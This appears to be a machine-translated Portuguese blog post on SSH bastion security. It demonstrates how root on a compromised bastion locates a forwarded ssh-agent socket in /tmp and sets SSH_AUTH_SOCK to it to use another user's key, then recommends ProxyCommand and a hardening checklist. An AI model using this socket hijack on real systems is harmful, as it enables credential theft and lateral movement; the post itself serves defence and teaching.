Eu vi a resposta sobre o ProxyJump. Vamos falar sobre o ProxyCommand .
Mas espere, espere! Posso escrever para você como invadir o servidor que usa o encaminhamento de agentes, seria muito mais fácil entender a diferença!
Vamos cortar!
Para as etapas básicas: você pode ler meu post aqui
As etapas básicas são as seguintes:
- Criar usuários bastiões
- Desativar login raiz
- Bloquear tentativas de hackers
- Mudar porta
- Configurar firewall
- Configurar o SELinux
Como usar o AgentForwarding
-Criar configuração em ~ / .ssh / config
Host bast
Hostname BASTION_IP
ForwardAgent yes
User bastion
-Adicione sua chave de autenticação ao ssh-agent
ssh-add ~/.ssh/name_rsa
-Conectar ao hos bastião
ssh bast
-Conecte o servidor de aplicativos do bastião
ssh app@IP -p PORT
Hacking!
Você pode, bem, me fazer a pergunta:
Como hackear servidores se você comprometeu o host bastião?
Rastrear alvo
No diretório / tmp, você pode ver algo assim:
[root@localhost tmp]# ll
total 12
drwx------ 2 bastion bastion 4096 Sep 7 17:35 ssh-mKX88v0Vlo
Vamos abrir o arquivo temporário
[root@localhost tmp]# cd ssh-mKX88v0Vlo/
[root@localhost ssh-mKX88v0Vlo]# ll
total 0
srwxr-xr-x 1 bastion bastion 0 Sep 7 17:35 agent.10507
Vamos ver as conexões com esse ID do processo.
netstat -nxp | grep 10507
resultado:
unix [ ] STREAM CONNECTED 501384 10507/sshd: bastion
e quem está conectado?
lsof -i -a -p 10507
resultado:
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sshd 10507 bastion 3u IPv4 501301 0t0 TCP *IP*:ssh->*IP*:8279 (ESTABLISHED)
Também podemos ver arquivos de soquete:
cd /proc/10507/fd/
ls
resultado:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
E o que acontece quando o cliente será conectado ao servidor remoto? vamos ver:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:48 11 -> socket:[502267]
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
Podemos até ver se o arquivo de soquete é usado usando o netstat:
unix 3 [ ] STREAM CONNECTED 502267 10561/sshd:
bastion /tmp/ssh-oVoMXC6vb8/agent.10561
unix 3 [ ] STREAM CONNECTED 502072 10561/sshd: bastion
Roubar informações do soquete e endereço IP
Agora precisamos roubar as informações do soquete enquanto a sessão do host bastião está aberta . Ah, também precisamos do IP do servidor de destino , então use netstat:
netstat -tn
A etapa final para usar o arquivo de soquete encaminhado
eval "$(ssh-agent -s)"
SSH_AUTH_SOCK=/tmp/ssh-EAKxOdL4fl/agent.10507
Verifique se a chave está carregada .
ssh-add -l
O resultado deve ser algo assim :
2048 SHA256:2Psdl..B5KQ /home/usr/.ssh/name_rsa (RSA)
Servidor está hackeado, como corrigir o problema de segurança?
Comando de proxy
Host app
Hostname *.*.*.*
IdentityFile ~/.ssh/your_rsa
User *******
Port ****
ProxyCommand ssh -W %h:%p bast
Host bast
Hostname *.*.*.*
ForwardAgent no
User ******
Para operações básicas: como transferir arquivos através dos servidores (de cliente para servidor, servidor para cliente), você pode ler no meu post aqui
Conclusão
- Se você usa host bastião, não use AgentForwarding, mas use ProxyCommand
- Sempre use usuário não raiz para autenticação
- Use um firewall e bloqueie todas as conexões desnecessárias.
- Use o SELinux (em geral)
- Bloquear o endereço IP que tenta efetuar login várias vezes com credenciais incorretas
- Se não for necessário, não dê permissão ao sudo ao usuário
- Monitore seu servidor
- Atualize seu servidor para correções de segurança
Mais informações, consulte o meu blog . Além disso, tenho alguns screeenshots, portanto pode ser útil para você.